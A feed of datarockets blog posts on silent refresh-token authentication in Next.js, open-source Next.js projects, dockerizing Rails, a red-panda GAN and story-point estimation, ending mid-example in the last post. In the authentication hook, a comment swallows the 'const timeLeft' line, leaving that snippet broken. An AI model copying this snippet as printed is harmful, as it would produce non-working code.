Forem: datarockets

Silent Authentication in Next.js

Elvin — Thu, 23 Oct 2025 20:00:42 +0000

Authentication is an essential part of almost any application and getting it right ensures the security, and improved user experience (UX). In Single Page Applications (SPA), the most common strategy is the JWT-based authentication. It is based on tokens that are used to either authorize actions (access tokens), or allow reissuing new set of tokens (refresh tokens). How we store and use refresh tokens provides fertile ground for security- or UX-related issues. In this article, we discuss a strategy for storing and using refresh tokens in Next.js applications that minimizes security risks while providing the best user experience - Silent Authentication. First, we briefly describe a basic form of JWT authentication and an existing SPA built with Next.js and Ruby on Rails. Then, we introduce Silent Authentication and share how to implement it in your Next.js application. In conclusion, we share user feedback that we received after incorporating Silent Authentication into our production application.

Introduction
Basic JWT authentication
Issue with access token expiration
Silent Authentication
Conclusion
Further reading

Introduction

Authentication and authorization are backbone for every major application, and designing it is always a compromise between application's security and user convenience (or user experience, UX). For example, tightening up the password policy to require very complex passwords will reduce the chances of brute-force attacks, but UX will worsen. Thus, it's important to balance them out, maximizing security while preserving UX.

There are a number of techniques and approaches when it comes to authentication, but in this article, we will focus on token-based strategies for Single Page Application (SPA). In particular, we will be working with Json Web Tokens (JWT), but the methods are applicable to other strategies as well if they match the specification implied in the article. The article assumes the basic understanding of JWT tokens, so if you need to refresh your memory, you may visit JWT's documentation.

Basic JWT authentication

Assume that we have a Single Page Application with front-end in Next.js and back-end in Ruby on Rails. The authentication on the front-end is built using NextAuth.js. The system already supports a basic JWT authentication, i.e. back-end can issue an access token given credentials and can authorize an action when an access token is provided.
In Next.js, the application consists of two parts that are run in different environments. The server-side (later, server-side application) runs on the front-end server and its code and data are hidden from user. Another part is client-side (later, client-side application) is run inside the browser. Thus, all code and data are inherently exposed to users.
The authentication works as follows: the server-side application is responsible for obtaining and storing access tokens. So, when a user signs in, NextAuth.js sends a request to the back-end, obtains an access token, stores it, and provides it to the client-side application. The flow can be seen in the diagram below:

Then, the client-side application obtains an access token from the server-side application (using NextAuth session), and uses it when it makes requests to the back-end application. This way, the access token is available for usage in the client-side, but access to it is controlled by the server-side code. The diagram below describes loading the application and performing an action:

Issue with access token expiration

Even though the described approach is quite secure, it has a major UX issue: access tokens expire, and they expire quite fast. It leads to interruptions in user experience, since the expiration might happen mid-action, and the user will be required to reauthenticate before continuing their action. To mitigate this, we need to introduce a mechanism for reauthenticating user without any interaction from their side - Silent Authentication. Silent Authentication should work "under the hood" to ensure that a user has a valid access token when they need it.
The strategies for Silent Authentication can be categorized into two groups:

refreshing an access token if it's close to being invalid;
using a separate token for issuing a new access token - refresh tokens.

The former solution is simpler to implement, but it has two major flaws: a short window for refreshing the token (making it useless for cases when a user pauses the interaction for some time), and increasing the importance of access tokens. Since access tokens are exposed to browsers, they can be accessed by a user and are susceptible to Man-In-The-Middle attacks. So, if an attacker obtains an access tokens and access tokens might be exchanged for new tokens, then they can keep using the system indefinitely by making sure that the access tokens never expire.

The more robust and secure approach is introducing a separate token that will be used only for issuing new access tokens - refresh tokens. Refresh tokens are much more long lived (e.g., several months for refresh tokens vs several hours for access tokens), which allows users to avoid reauthentication even if they haven't visited the system for a long time. The implementation of reauthentication is error-prone, and measures should be taken to reduce the attack surface.

There are several precautionary measures that can be taken to improve security:

hiding refresh token from the user - as gaining refresh tokens provides a way to continuously generate access tokens, thus keeping access to the system on behalf of a user, we need to avoid exposing it;
refresh token rotation - refresh tokens should be one-time use only, and using one refresh token should generate another one;
guardrails for reusing refresh tokens - if a refresh token is trying to be reused, it might be a sign of a malicious actor reusing the refresh token. An optional precaution will be to invalidate refresh and access tokens for the user, forcing all actors on behalf of the said user to reauthenticate. This should be used cautiously to avoid allowing an actor to continuously reuse an expired refresh token to force a user to authenticate.

Silent Authentication

In this article, we focus on implementing Silent Authentication using Next.js with a technology-agnostic back-end, and excluding the logic related to refresh tokens on the back-end. For the back-end, we assume that all measures described in the previous section were implemented.

Given that we have a system with basic JWT authentication and back-end that supports refresh tokens functionality, we want to introduce Silent Authentication. We have two areas to cover: storing refresh tokens and using refresh tokens. In our setup, storing refresh tokens is the easiest problem to solve - NextAuth.js encapsulates the authentication-related logic within the server-side application, allowing us to control what data the client-side application has access to that is controlled using callbacks. Generally, callbacks contain logic for authentication, exposing session data (note: session within the front-end, not with the back-end ), and providing granular control on which data is exposed to the client. Thus, all we need to do is to store the refresh token on authentication (in jwt callback) and avoid exposing it when the client application requests session information (in session callback):

async jwt({ token, user }) {
    let credentials = await authenticateUser(user) 
    // `authenticateUser` handles sign-in request to the backend, it returns an object with the following fields:  
    // - `token` - access token
    // - `refresh_token` - refresh token
    // - `expires_at` - access token expiration datetime  
    if (credentials) {
        token.token = credentials.token    
        token.refreshToken = credentials.refresh_token    
        token.expiresAt = credentials.expires_at    
    }
    return token
},
...  
async session({ session, token }) {
    // token consists of `token` as access token, and `expiresAt` as expiration datetime  
    ...
    session.user.token = token.token    
      // Expiration datetime will be needed on the client to determine when to request reauthentication  
    if (token.expiresAt) {  
      session.user.expiresAt = token.expiresAt  
    }
    // Avoid exposing refresh token via `session`  
    ...  
    return session
},

As a result, we avoid exposing refresh tokens to the client-side application altogether while allowing the server-side application to perform reauthentication using refresh tokens.

And the next step is to avoid having expired access tokens when the front-end needs it. There are two ways to achieve it:

keep the access token always valid while the user uses the front-end;
refresh the access token before the action if it's invalid.

We decided to go with the former approach as it is simpler to implement and helps with some concurrency-related issues (e.g., performing an action that requires several parallel requests). It comes with a cost of redundant token refreshes that will be relevant for when the user doesn't perform any actions for a long period.

The implementation is pretty straightforward. In jwt callback, reauthenticate if the access token is invalid:

async jwt({ token, user }) {
    ...  
    const refreshToken = token.refreshToken  
    const expiresAt = token.expiresAt  
    const expired = expiresAt ? expiresAt < Date.now() / 1000 : false  
    if (expired && refreshToken) {  
        credentials = await rotateTokens(refreshToken)  
    }  
    ...
}

This way, every time the client requests the access token, it will be valid. And to keep the access token valid, we need to request it as soon as it expires - we can do it using a custom hook:

export function useRefreshSession() {  
    const { status, data, update } = useSession()  
    useEffect(() => {
        if (status !== 'authenticated' || typeof window === 'undefined') return;

        const expiresAt = data?.user.expiresAt  
        if (!expiresAt) return;

        // dayjs library is used for working with datetime        const timeLeft = dayjs(expiresAt).diff(dayjs())
        if (timeLeft > 0) {
            const timeout = setTimeout(() => update(), timeLeft)
            return () => clearTimeout(timeout)
        } else {
            update()
        }
    }, [data, status, update])
}

This hook should be called on the top level within the necessary SessionProvider (e.g., in a top component declared in _app.tsx ).

As a result, we receive a system that is described in the diagram below:

Conclusion

After introducing Silent Authentication, we received a lot of positive feedback from satisfied users - users were happy that they don't have to reauthenticate constantly, especially when coming back to the system after a week or two. And, what's also very important, we managed to avoid big security risks by never transferring refresh tokens to the client. This is how we achieved a secure but convenient authentication mechanism in our system.

Real-world open-source projects built with Next.js 14 and App Router

Alexey Ryabov — Fri, 28 Jun 2024 12:57:54 +0000

Discover how others build real-world Next.js applications by examining their codebase.

Learning from others' codebases can help you grow as a developer, gain inspiration for organizing your codebase, develop a certain feature, manage CI/CD, and much more. You can learn both best practices and some practices to avoid in real-world scenarios. You can find new technologies that might better solve certain cases.

In this article, you will find a selection of open-source projects built using Next.js and App Router.

Unkey

GitHub · Website

Unkey is an open-source API management platform for scaling APIs. Unkey provides API key management and standalone rate limiting.

The repository is a monorepo managed via Turborepo. It contains several apps:

www - marketing website, landing page, blog, etc.
dashboard - main application
docs - documentation website

Stack: Turborepo, Tailwind, tRPC, Planetscale, Drizzle ORM, Clerk, React Hook Form, Zod, Resend, Stripe, Mintlify

Cal.com

GitHub · Website

An open-source Calendly alternative. A scheduling solution that gives you a full-control of your events and data.

They are still in the process of migrating to App Router, which is a good example of how a large-scale app can be migrated to App Router incrementally.

The repository is a monorepo managed via Turborepo. The main app is located in apps/web. There, you can find that it has both app and pages folder. And many routes from pages are available in app/future folder.

Stack: Turborepo, Tailwind, tRPC, Prisma, Kysely Auth.js, React Hook Form, Zod, Zustand, Tanstack Query, Stripe

Documenso

GitHub · Website

An open-source DocuSign alternative. A service for signing documents digitally.

The repository is a monorepo managed via Turborepo. It contains several Next.js apps:

marketing - marketing website, landing page, blog, etc.
web - main application

Stack: Turborepo, Tailwind, tRPC, Prisma, Kysely Auth.js, React Hook Form, Zod, Resend, Stripe

TypeHero

GitHub · Website

TypeHero is a platform for enhancing your TypeScript skills via interactive code challenges.

The repository is a monorepo managed via Turborepo. It contains several Next.js apps:

web - main application
admin - admin panel for the main application

Stack: Turborepo, Tailwind, Prisma, Auth.js, React Hook Form, Zod, Zustand, Tanstack Query, Resend

Dify

GitHub · Website

Dify is an open-source LLM app development platform. Dify's interface combines AI workflow, RAG pipeline, agent capabilities, model management, observability features and more.

Stack: Tailwind, React Hook Form, Zod, Zustand, SWR

Dub

GitHub · Website

Dub.co is an open-source URL shortening service and a link management platform. An open-source alternative to Bitly.

The repository is a monorepo managed via Turborepo. The main app is located in apps/web.

Stack: Turborepo, Tailwind, Planetscale, Prisma, Auth.js, Zod, SWR, Upstash, Tinybird, Stripe, Mintlify

Noodle

GitHub · Website

Noodle is a platform for managing everything to do with students education like note-taking, calendar, task management, grade calculator, flashcards and more.

It's an indie project and still not released yet. But it's a good example of an app built using modern technologies.

Stack: Bun, Tailwind, tRPC, Drizzle ORM, Clerk React Hook Form, Zod, Tanstack Query, Resend

Midday

GitHub · Website

An all-in-one tool for freelancers, contractors, consultants, and solo entrepreneurs to manage their finances, track projects, store files, and send invoices.

The repository is a monorepo managed via Turborepo. It contains several apps:

website - marketing website, landing page, blog, etc.
dashboard - main application, dashboard
docs - documentation website

Stack: Bun, Turborepo, Tailwind, Supabase, Upstash, React Hook Form, Zod, Zustand, Resend, Mintlify

Morphic

GitHub · Website

An AI-powered search engine with a generative UI.

Stack: Bun, Tailwind, Vercel AI SDK, OpenAI, Tavily AI, Serper, Jina AI, Upstash

Supabase

GitHub · Website

Supabase is an open source Firebase alternative.

Supabase doesn't use fully App Router but their new apps uses it. The repository is a monorepo managed via Turborepo. It contains several Next.js apps:

database-new - some new app by Supabase. It uses App Router.
www - marketing website, landing page, blog, etc. It doesn't use App Router yet.
studio - main application. It doesn't use App Router yet.
docs - documentation website. It doesn't use App Router yet. There is PR for migrating it to App Router - link.

Stack: Turborepo, Tailwind, OpenAI, React Hook Form, Zod, Tanstack Query, Stripe

OpenStatus

GitHub · Website

OpenStatus is an open-source synthetic and frontend performance monitoring service.

The repository is a monorepo managed via Turborepo. It contains several apps:

web - main application, landing page
docs - documentation website

Stack: Turborepo, Tailwind, tRPC, Upstash, Tinybird, Turso, Drizzle ORM, Auth.js, React Hook Form, Zod, Stripe, Resend, Mintlify

Skateshop

GitHub · Website

An open source e-commerce skateshop built with modern approaches and technologies.

It's not a real-world application but a good example of how to develop modern Next.js application.

Stack: Tailwind, Clerk, Upstash, OpenAI, Drizzle ORM, React Hook Form, Zod, Stripe, Resend

Feedbase

GitHub · Website

An open-source solution for collecting feedback and communicating updates.

The repository is a monorepo managed via Turborepo. It contains several apps:

web - main application, landing page
docs - documentation website

Stack: Turborepo, Tailwind, Supabase, Tinybird, React Hook Form, Zod, SWR, Resend, Mintlify

Plane

GitHub · Website

An open Source JIRA, Linear and Asana alternative. Plane helps you track your issues, epics, and product roadmaps.

The repository is a monorepo managed via Turborepo. It contains several Next.js apps:

admin - admin panel. It uses App Router.
web - main application. It doesn't App Router yet.
space - some application. It uses App Router.

Stack: Turborepo, Tailwind, React Hook Form, SWR, MobX

egghead.io

GitHub · Website

egghead a learning platform for front-end developers.

They are still in the process of migrating to App Router, which is a good example of how a large-scale app can be migrated to App Router incrementally.

Stack: Tailwind, tRPC, Prisma, Sanity, Formik, Zod, SWR, Tanstack Query, Upstash, Stripe

Conclusion

In this article, we explored several open-source projects built with Next.js 14 and App Router. These open-source projects serve as excellent learning resources, offering practical examples of how to leverage Next.js 14 and App Router to build robust, scalable applications. Whether you are looking to enhance your skills, find inspiration, or discover new tools, delving into these codebases will undoubtedly contribute to your growth as a developer.

Want to find more real-world projects? You can find more projects built with different technologies in my collection on GitHub.

Which open-source Next.js projects inspire you the most? Please, share your thoughts and experiences in the comments below.

How to Dockerize a Ruby on Rails application

Matvei Tratseuski — Tue, 21 May 2024 14:59:36 +0000

Containerization is a game-changer in software development, delivering key advantages like streamlined deployment, scalability, and consistency across development, testing, and production environments.

In this post, I’m going to walk you through a configuration for dockerizing your Ruby on Rails app and dive into each detail so you know exactly how it works.

Install Docker

Install Docker Desktop if you’re on Mac or Windows, or a Docker Engine if you’re using Linux.

Project Structure

Here’s the structure of the project that will be dockerized:

your-project-name/
│
├── backend (rails backend)
│   ├── Gemfile
│   ├── Gemfile.lock
│   └── ... (other rails files)

├── frontend (frontend folder)
│   ├── package.json
│   └── ... (other frontend files)
│
├── bin (place for script)
│   ├── run (script that run docker)
│   └── ... (other scripts)
│
├── docker
│   ├── development
│   ├──├── frontend.Dockerfile
│   └──└── backend.Dockerfile
│
└── docker-compose.yml

Proposed Configuration

Most folks just want to copy the config and hit the ground running. Below, I’ve shared my configuration and broken it down for you.

Tech stack for this sample project:

Ruby 3.3.0
Svelte 4 (you can use any other)
Postgres 14

backend.Dockerfile

FROM ruby:3.3.0-bookworm

RUN set -eux; \
    apt-get update; \
    apt-get -y upgrade

ARG UID=1000

RUN set -eux; \
    useradd -s /bin/bash -u ${UID} -m backend; \
    mkdir -p /backend/vendor/bundle; \
    chown -R backend:backend /backend

USER backend

WORKDIR /backend

ENV BUNDLE_PATH=vendor/bundle
ENV BUNDLE_APP_CONFIG=$BUNDLE_PATH
ENV BUNDLE_USER_CACHE=vendor/bundle/cache

# This will force using gems with native extensions instead
# of pre-compiled versions.
# Using precompiled versions leads to compatibility issues
# in the case of ARM platform.
RUN bundle config set force_ruby_platform true

docker-compose.yml

version: "3.9"

services:
  backend: &backend
    build:
      context: .
      dockerfile: docker/development/backend.Dockerfile
    volumes:
      - ./backend:/backend:cached
      - backend_tmp:/backend/tmp
      - bundle:/backend/vendor
    command: bin/rails s -b 0.0.0.0
    ports:
      - "3000:3000"
    tty: true
    stdin_open: true
    depends_on:
      - db

  db:
    image: postgres:14
    volumes:
      - db_data:/var/lib/postgresql/data
    environment:
      POSTGRES_PASSWORD: password

  frontend:
    build:
      context: .
      dockerfile: docker/development/frontend.Dockerfile
    volumes:
      - ./frontend:/frontend:cached
      - node_modules:/frontend/node_modules
    command: yarn dev --port 3001 --host 0.0.0.0
    ports:
      - "3001:3001"

volumes:
  bundle:
  db_data:
  node_modules:
  backend_tmp:
    driver_opts:
      type: tmpfs
      device: tmpfs
      o: uid=1000,gid=1000

Change default in backend/config/database.yml to:

default: &default
  adapter: postgresql
  encoding: unicode
  host: <%= ENV.fetch("DB_HOST", "db") %>
  username: postgres
  password: <%= ENV.fetch("DB_PASSWORD", "password") %>

To get everything up and running, you need to build images (or pull), install gem, prepare db, and install packages for the frontend. You can find all of these scripts in this repository.

For simplicity, I combined all scripts into one bin/setup file.

bin/setup

#!/bin/bash

#exit immediately if any command within the script or session 
#exits with a non-zero status

set -e 

docker compose build

docker compose run --rm backend /bin/bash -c 'bundle install'
docker compose run --rm backend /bin/bash -c 'bundle exec rails db:prepare'
docker compose run --rm backend /bin/bash -c 'bundle exec rails db:seed'
#change yarn to your package manager
docker compose run --rm frontend /bin/bash -c 'yarn install'

Give permission to run scripts from the bin folder using chmod +x -R ./bin/ from the project root folder. Then run this script bin/setup.

Congratulations! Now you can run docker using docker compose up.

Configuration Explained

Now let’s talk more about the specific configuration of the backend.Dockerfile.

Bookworm

FROM ruby:3.3.0-bookworm, why bookworm, and what is it?

Bookworm is the name of the Debian version. Most of the time, we don’t care about the size of the docker image, so I recommend picking the latest Debian version.

Also, I recommend always explicitly specifying the version of an image - never pick the latest as it can upgrade and break the application.

Update and upgrade software packages

RUN set -eux; \
    apt-get update; \
    apt-get -y upgrade

These commands update and upgrade the software packages within a Docker container, ensuring they are up-to-date and secure. The script exits on errors and automatically confirms all prompts for a smooth, non-interactive process.

Set Up Application User and Directory Structure

ARG UID=1000
RUN set -eux; \
    useradd -s /bin/bash -u ${UID} -m backend; \
    mkdir -p /backend/vendor/bundle; \
    chown -R backend:backend /backend

It creates a new user named backend with a specified user ID, sets up a directory for the application, and assigns ownership of this directory to the new user. Then it creates a directory for Ruby dependencies and sets the application user as its owner for secure and organized access.

frontend.Dockerfile has almost the same configuration.

Volumes for the backend service

The main thing to understand in docker-compose.yml is how volumes are mounted.
Volumes for the backend service:

volumes:
      - ./backend:/backend:cached
      - backend_tmp:/backend/tmp
      - bundle:/backend/vendor

Bind Mount from Local Directory

./backend:/backend:cached
This volume mounts the backend directory on the host machine to /backend inside the container. With :cached for optimized I/O performance.

Named Volumes

backend_tmp:/backend/tmp
A named volume backend_tmp is mounted to /backend/tmp inside the container, managed by Docker for data persistence.

bundle:/backend/vendor
This bundle is another named volume mounted to /backend/vendor, ensuring the persistence of Ruby dependencies (gems) across container restarts.

Volumes for the db service

volumes:
      - db_data:/var/lib/postgresql/data

db_data:/var/lib/postgresql/data
This volume is used to store the Postgres database within db_data, ensuring that data remains persistent across container restarts.

Volumes for the frontend service

volumes:
      - ./frontend:/frontend:cached
      - node_modules:/frontend/node_modules

./frontend:/frontend:cached
The local frontend directory is mounted to /frontend inside the container, with :cached for optimized I/O performance.

node_modules:/frontend/node_modules
Ensures persistent storage of Node.js dependencies in node_modules, avoiding loss on container rebuild.

Volume Definitions

volumes:
  bundle:
  db_data:
  node_modules:
  backend_tmp:
    driver_opts:
      type: tmpfs
      device: tmpfs
      o: uid=1000,gid=1000

bundle, db_data, node_modules
These are simply declared, allowing Docker to manage them for persistence.

backend_tmp
Specified with driver_opts to configure as tmpfs, meaning it's stored in memory, not persisted on the host disk, with uid=1000, gid=1000 for file ownership. Ideal for temporary data not requiring persistence across restarts.

Debugging

If you take scripts from this repository, you can smoothly debug a rails application by running this script bin/run_and_attach. This allows you to debug inside the same terminal.

Conclusion

By dockerizing your Rails app, you're setting yourself up for success with an application that's portable and easy to deploy.

Whether you are hosting it on a server, using a PaaS like Heroku, or orchestrating it with Kubernetes, Docker lays a solid foundation.
Well done on dockerizing your Rails app! Here's to smooth sailing in your app development and deployment!

Originally published on the datarockets' blog.

Training a neural network for fun and profit

Anastasia Berazniova — Thu, 11 Jan 2024 17:31:47 +0000

Originally published here by Anastasia Berezniova

At datarockets, we have a small tradition of greeting teammates with a Happy Friday post in the slack channel with a picture of a cute red panda – our company brand animal.

During a 1-month gap between projects, our developers wanted to try something we have never done before with the potential of applying this knowledge to clients’ projects in the future. Our choice fell on neural networks.

Putting these two together, we came up with the idea of our fun educational project – build and train a neural network to generate unique images of red pandas, and let our custom slack bot Mona (who is an e-cat :)) post a generated panda every Friday with positive wishes to the team.

See the useful links about GANs and neural networks below.

Approach

We started with researching the technical aspects of neural networking, specifically different network architecture types and technologies we could use. This resulted in the following set of technologies: Python as a language and TensorFlow as a machine learning framework. A generative adversarial network (GAN) based on convolutional layers was chosen as a network architecture type.

A whirlwind tour of neural networks

Basically, GAN consists of two neural networks competing with each other – a generator and a discriminator. The generator generates images that are mixed into the training dataset and passed to the discriminator. Discriminator decides whether the images are real or fake, i.e., whether they are from a training dataset or were generated. During that process, the generator corrects its weights based on whether it successfully fooled a discriminator into deciding that generated image was real. And discriminator, in turn, corrects its weights based on whether it correctly distinguished the real image from the generated one. So both networks learn by competing with each other.

Collecting the datasets of red pandas and cats

The path in the technological aspect was cleared out, but to move forward with generating red panda images, we needed a dataset of red panda images to train the network on. We searched on ready datasets of red pandas but did not find a suitable one. However, we did find a data science platform with massive resources of machine learning datasets – Kaggle, which also provides cloud computing power to train the models faster. So at that point, we defined two parallel tasks:

slowly but surely collect our dataset of red panda images,
build and adjust a network using another similar dataset – a dataset of >5000 cat face images we found on Kaggle.

First low-resolution images and limitations of GANs

Soon we built our first network attempt, then came a long process of figuring out which parameters and practices lead to the best results. And the best we could squeeze out of that configuration was realistic but low-resolution cat faces (64x64px).

The problem is that GANs are usually limited to small images because higher resolution makes it easier for discriminators to tell the generated images apart from training images, but a stable training process requires the discriminator and generator to find balance.

We clearly needed some solution that would allow us to generate images of higher quality, so we started thinking about alternative network architectures.

Considering SRGAN

First, we considered involving one more network in the flow – SRGAN. SRGAN is an abbreviation for Generative Adversarial Network for image Super-Resolution. The name pretty much tells you its purpose – it translates lower-resolution images to higher-resolution images. The idea was that our model, at that point, would generate 64×64 resolution images, and then SRGAN would upscale them.

Applying Progressive Growing GAN

But a more appealing approach was Progressive Growing GAN – an extension to the GAN training process that involves incrementally increasing the number of layers of the network and, accordingly, the size of input/output images during training. Starting from, for example, 4×4 images and one block of convolutional layers on both discriminator and generator, ending with 256×256 images and seven blocks of convolutional layers. This allows the models first to learn the large-scale structure of the image and then shift attention to increasingly finer scale detail instead of having to learn all scales simultaneously. In the picture, you can see samples of images generated on each stage of training – 8×8, 16×16, 32×32, 64×64, 128×128, and 256×256.

The important thing here was to find the optimal training schedule – from what resolution to start and accordingly a number of stages and training steps for each stage, so none of them get overtrained. Our approach to measuring network performance needed to be improved to do this faster and more precisely.

Results

Our model still has much more potential to realize as we didn’t have much time to adjust it. However, the intermediate results are great, and we are happy to present them. Here are a couple of “good boys”:

And here are a couple of “bad boys”:

As for the second task – collecting the dataset, by the time we had to switch to a new commercial project, we had >500 pictures of red pandas. This number is still too small to train the network.

As said, there is a lot to improve in our project. Maybe one day, some datarockers will pick this project up and continue it. And after expanding our tiny red panda dataset and adjusting the training process on it, we will bring the red panda generator to life.

Useful links

Here you will find the most useful links and articles about GANs and neural networks we explored while implementing this project:

How to Train a GAN? Tips and tricks to make GANs work (highly recommended)
How to Identify and Diagnose GAN Failure Modes (highly recommended)
Convolutional Layers vs Fully Connected Layers
How to Avoid Overfitting in Deep Learning Neural Networks
A Gentle Introduction to the Progressive Growing GAN

How we estimate tasks in Story Points

Alexey Ryabov — Mon, 18 Dec 2023 09:56:57 +0000

Originally published here by Alexey Ryabov

Estimating story points may be a term you've come across in software development, as it is a common method used by teams to estimate the effort required to complete tasks. Unfortunately, without a deeper understanding of how or why it works, this method can be misused by teams and can even lead to unintended consequences and valuable time wasted.

This article will break down the fundamentals of what story points are and provide a step-by-step guide on how to use them to estimate tasks in software development teams.

Here's what we'll cover:

What are story points?
How to estimate in story points?
Why use story points?
Examples of using story points

At the end, you will find additional resources that can help you deepen your understanding of story points more.

What are story points?

Story points are an abstract unit of measurement to estimate the overall effort. Story points are a flexible and elegant method as they can take into account different factors based on your team's needs such as time, complexity, amount of work, risks and uncertainties, etc.

The tasks are estimated in story points relative to each other. That's why it's important to have some baseline tasks that you have estimated together with your team and have discussed that estimation in detail. This will serve as a benchmark for everyone to estimate the other tasks.

Story points are usually assigned using a scale such as the Fibonacci sequence (1, 2, 3, 5, 8, 13, 21, etc.). It's not a requirement to use this particular scale, you can use any scale that works for you. The advantage of the Fibonacci sequence is that it's a non-linear sequence that brings the following properties:

Represents well the idea that estimating a task becomes less precise as the task becomes larger.
Illustrates well the idea of relative sizing. Using a linear scale (e.g., 1, 2, 3, 4, 5) might give the false impression that each story point is the same amount more complex as the one before. The Fibonacci sequence avoids this pitfall by emphasizing that the relationship between sizes is approximate and non-linear. The ratio between values is more important than the values itself.

How to estimate in story points?

1. Define factors of story points

Before using story points, you need to define what a story point represents. You need to think about which factors are the most important for your team and describe them in detail.

The factors can vary between teams and projects.

In this guide, we will be using the following factors:

⌚ Time

Even though Time isn't usually listed as a factor in other guides, I believe that it's quite an important one for tasks that are clear (usually small tasks). Instead of trying to give a precise amount of time to implement a task, it's better to use an approximate amount which improves the accuracy of estimations and makes it easier to estimate. If it's too hard to predict, we give our estimate based on other factors. If other factors differ a lot from the time, then it can mean that you need to revisit your estimation.

Questions

How long does it take to complete the task approximately?

Options

0 - 2 hours
3 - 8 hours
9 - 16 hours
17 - 26 hours
27 - 40 hours
Unknown

🧠 Complexity

Complexity takes into account such things as a need for special knowledge, clarity of implementation, amount of edge cases, etc.

Questions

How hard is it to complete this task?
Do you need special knowledge to complete this task?
Is the solution clear or does it require some time to come up with a solution?

Options

Lowest
Low
Medium
High
Highest

🛠️ Amount of work

Amount of work assesses the sheer volume of work required to complete a task. This factor is quite related to Time but answers different questions. It's often the case when it's hard to estimate time but it's clear that you need to write a lot of code or you need to do some research before implementing a task.

Questions

Does it require writing a lot of code?
How much work needs to be done?
How much do you need to research?

Options

Lowest
Low
Medium
High
Highest

💣 Risk and uncertainty

Risk and uncertainty take into account things you can't know until starting a task. For example, you can't envision what issues you will stumble across during an upgrade of some library to a major version even when it has clear release notes.

Questions

How much is known about a task?
Is the task clear?
Is there something that's hard to predict?

Options

None
Low
Medium
High
Highest

In the Examples section, we will use those factors, commenting on a decision for each of them.

2. Determine your story point sequence

Your team needs to have a limited set of possible story points to make the estimation process more accurate and easier. It's not that important the actual values of story points. It can be numbers or even letters (e.g. S, M, L, see T-shirt sizing). But the values should be relative to each other and easy to understand.

Some popular choices are:

Fibonacci sequence (1, 2, 3, 5, 8, 13, 21)
T-shirt sizing (XS, S, M, L, XL)

It's usually a good idea to have a small set of story points (~5 options) because as an estimate becomes bigger it becomes less accurate. When your estimate is big for a task, it's a good sign that you need to break the task down into smaller tasks and estimate them separately.

In this guide, we will be using the Fibonacci sequence (1, 2, 3, 5, 8).

3. Create a story point matrix

A story point matrix helps your team to estimate tasks by accumulating all the factors. It makes estimations more consistent, helps the team to be on the same page when it comes to estimations and to argue the estimation.

4. Explain the concept to the team

Once you set the definition of a story point, determined a sequence, and created a story point matrix, now it's time to explain it to the team and show how to use it. It's important that each team member understands the concept.

5. Prepare baseline tasks for future estimates

You need to select some tasks that will act as a reference/baseline for future estimates and estimate them in detail together with a team using the matrix. It will simplify the estimation process a lot in the future and will make story points and the matrix much clearer.

The more you use story points, the more accurate estimates become so feel free to change baseline tasks from time to time.

Ideally, you need to have at least one baseline task for each story point value you have.

6. Set up a poker planning session

Poker planning helps to organize the estimation process. The idea of poker planning is that each participant estimates a task in story points privately and the result isn't shown until the voting is over. If the story points are the same, move on to the next task. If the story points differ much, it's time to discuss it together and clarify why participants chose a certain amount of story points.

There are a lot of tools for this. In our team, we use Slack for communication and it has a good extension "Poker Planner for Slack". It has all the configurations we need, it's easy to use, and makes it possible to make the session asynchronous.

7. Execute your sprint and measure its velocity

The beautiful side of estimation is that it allows us to measure a team's velocity. The velocity is the measure of a team's capacity to complete work during a sprint. Story points improve accuracy by having a limited amount of values and taking into account multiple factors. Knowing the team's velocity helps to see potential issues, discuss them with the team, and set realistic goals for the next sprints.

To calculate the velocity, you just need to calculate the total amount of completed story points when a sprint ends. This number is the velocity of your team for the sprint.

After completing several sprints, it's a good idea to measure an average velocity which will help you to understand how many story points you can plan for the next sprints.

Why use story points?

Now, when we know what story points are and how to use them, we can summarize the benefits of story points. Understanding these benefits will shed light on why teams often choose story points over other methods for estimation and planning.

More Accurate Estimations. Story points help us to estimate tasks more accurately compared to other simple measurements such as time because it takes into account multiple measurements, which often impact the estimations, such as complexity, amount of work, risks and uncertainties. Besides accuracy, it makes it easier to estimate because all the factors are approximate values and a team doesn't need to give precise estimations for each factor.
Reduced Pressure on Teams. Since story points aren't tied to time only and it's an abstract unit, it reduces pressure on teams which leads to more productive work.
Improved Team Collaboration. Story points define an exact process for estimating tasks. It involves the whole team into the estimation process and gives a common language for estimating which improves communication. Techniques such as "Poker planning" make the estimation process more efficient and productive.
Statistics. Story points help the team to analyze their performance by calculating different metrics such as velocity. Having statistics helps us to spot performance issues in advance, discuss it with a team, and plan the next sprints more accurately based on the statistics.

Examples

To better understand story points, let's estimate some tasks together using the matrix from this guide.

Task #1. Use pluralization rules for text

Description

We need to update all instances in the UI where we use a noun with a dynamic number to use a function that automatically applies the appropriate pluralization rule. For example, "1 word", "2 words", etc.

Additional context

We're going to use a library which we've used on other projects before. The codebase is of medium size and it's not hard to search in it.

Estimation

Time - 0-2 hours. Knowing the existing code base isn't very big, we're pretty sure that this task won't take more than 2 hours.
Complexity - Lowest. There is nothing complex to implement. We don't need to implement pluralization from scratch since we're going to use a library for that.
Amount of work - Low. It requires us to go through the codebase and find places where we need to update text.
Risk and uncertainty - Low. Since we don't know the exact places where we need to update text, there is a small risk of underestimating and having more places than we initially expected.
Points - 1

Task #2. Add virtualization to feed

Description

We have a feed of users' posts with infinite scroll. We need to implement virtualization in the list to improve its performance when the list becomes large.

Additional context

We're going to use some library for virtualization but we don't know which one yet. The list has items with dynamic height. The code for the feed is readable and written quite well.

Estimation

Time - 3-8 hours. We don't need to implement the virtualization logic from scratch since we're going to use some library for that. We previously had experience of applying virtualization in previous projects, so we know the general idea and know approximately how much time it can take.
Complexity - Medium. Virtualization is not a straightforward concept. To successfully apply it, we need to understand how it works. We have a dynamic height for a list item and an infinite scroll, which complicates the usage of virtualization.
Amount of work - Low. Since we had experience previously using some libraries for virtualization, we know that, in most cases, it doesn't require a lot of changes in the codebase. The code for the feed is written well, and it's easy to change and understand.
Risk and uncertainty - Medium. We don't know exactly what library we're going to use. There are some risks of something not working as before because it changes drastically the way the feed is rendered.
Points - 2. Here we have an uncertain situation because the factors we chose don't map to the matrix fully. From the matrix, it should be either 2 or 3. We ended up choosing 2 because everyone was sure that it wouldn't take more than 8 hours, and it was a decisive factor.

Task #3. Implement login page

Description

In the scope of this task, we need to add a new page /sign-in which contains a simple form with email and password fields and a submit button. We need to handle errors from API. We also need to establish architecture for protected/unprotected routes and make the login page available only for unauthenticated users.

Additional context

We're going to use some library for managing forms. We have all basic components like input, button, etc. in UI kit we use.

Estimation

Time - 9-16 hours. Based on previous experience and taking into account that we're going to use a lot of existing solutions, we think that it won't take more than 16 hours.
